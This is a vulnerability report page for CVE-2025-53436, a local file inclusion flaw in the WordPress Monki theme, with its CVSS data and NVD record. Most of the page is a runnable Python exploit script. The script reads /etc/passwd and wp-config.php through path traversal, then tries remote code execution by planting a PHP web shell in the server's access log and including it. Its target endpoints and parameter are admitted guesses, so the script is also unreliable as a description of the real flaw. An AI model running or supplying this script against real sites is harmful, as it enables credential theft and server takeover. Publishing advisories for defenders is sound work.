Security Vulnerability Report
中文
CVE-2025-53436 CVSS 8.1 HIGH

CVE-2025-53436

Published: 2025-12-18 08:15:54
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in BZOTheme Monki monki allows PHP Local File Inclusion.This issue affects Monki: from n/a through <= 2.0.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Monki Theme <= 2.0.5
Monki Theme (n/a through 2.0.5)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53436 PoC - WordPress Monki Theme LFI # Affected: Monki Theme <= 2.0.5 # Type: Local File Inclusion import requests import sys def test_lfi(target_url): """Test for CVE-2025-53436 Local File Inclusion vulnerability""" # Common Monki theme file inclusion endpoints endpoints = [ '/wp-content/themes/monki/inc/template-tags.php', '/wp-content/themes/monki/inc/custom-header.php', '/wp-content/themes/monki/inc/customizer.php' ] # Files to read test_files = [ '../../../../../../../../etc/passwd', '../../../../../../../../windows/win.ini', '../../../../../../../../wp-config.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-53436 - Monki Theme LFI\n") for endpoint in endpoints: for test_file in test_files: # Construct the malicious URL vuln_url = target_url.rstrip('/') + endpoint + '?file=' + test_file try: response = requests.get(vuln_url, timeout=10) # Check for successful file inclusion if 'root:' in response.text or '[extensions]' in response.text or 'DB_NAME' in response.text: print(f"[!] VULNERABLE! File inclusion successful: {test_file}") print(f"[+] URL: {vuln_url}") print(f"[+] Response length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Error testing {vuln_url}: {e}") print("[*] Testing complete. Target may not be vulnerable.") return False # Remote Code Execution via log poisoning def test_rce(target_url): """Attempt RCE via log file poisoning""" # Inject PHP code into log file evil_code = '<?php phpinfo(); ?><?php system($_GET["cmd"]); ?>' # Try to poison Apache/Nginx logs headers = {'User-Agent': evil_code} try: requests.get(target_url, headers=headers, timeout=10) # Now try to include the log file log_path = '../../../../../../../../var/log/apache2/access.log' rce_url = target_url + '/wp-content/themes/monki/inc/template-tags.php?file=' + log_path + '&cmd=id' response = requests.get(rce_url, timeout=10) if 'uid=' in response.text: print(f"[!] RCE SUCCESSFUL!") print(f"[+] Command output found in response") return True except Exception as e: print(f"[-] RCE attempt failed: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-53436.py <target_url>") print("Example: python cve-2025-53436.py http://example.com") sys.exit(1) target = sys.argv[1] test_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53436", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:53.983", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in BZOTheme Monki monki allows PHP Local File Inclusion.This issue affects Monki: from n/a through <= 2.0.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/monki/vulnerability/wordpress-monki-theme-2-0-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}